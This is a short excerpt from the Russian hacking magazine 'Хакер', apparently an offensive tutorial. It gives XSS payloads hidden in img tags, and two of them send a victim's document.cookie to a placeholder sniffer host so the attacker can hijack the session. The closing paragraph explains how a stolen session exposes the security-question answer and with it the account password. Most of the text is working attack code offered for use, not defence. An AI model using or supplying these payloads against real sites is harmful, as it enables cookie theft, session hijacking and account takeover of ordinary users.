Новогодний подгон от Хакера

Хакер, номер #084, стр. 084-060-3

<img src="http://адрес.картинки.ру/картинка.jpg" style=background:url(javascript:alert(/XSS/))>

Чтобы увести его кукисы подойдет следующий код:

<img src='javascript:img = new Image(); img.src = "http://Снифер.ru /s.jpg?"+document.cookie'; />

Или же можно воспользоваться предыдущим примером:

<img src="http://адрес.картинки.ру/картинка.jpg" style=background:url(javascript: document.images[1].src = "http://снифер.ru /s.jpg?" + document.cookie)>

Еще необходимо добавить, что, получив доступ к сессии, ты можешь легко получить исходный пароль: в настройках ты можешь элементарно подсмотреть ответ на контрольный вопрос! Остается только позавидовать наивности программистов, защитивших смену контрольного вопроса и установку нового пароля старым ключом, отрывшим на обозрение ответ на секретный вопрос (фактически тот же самый пароль).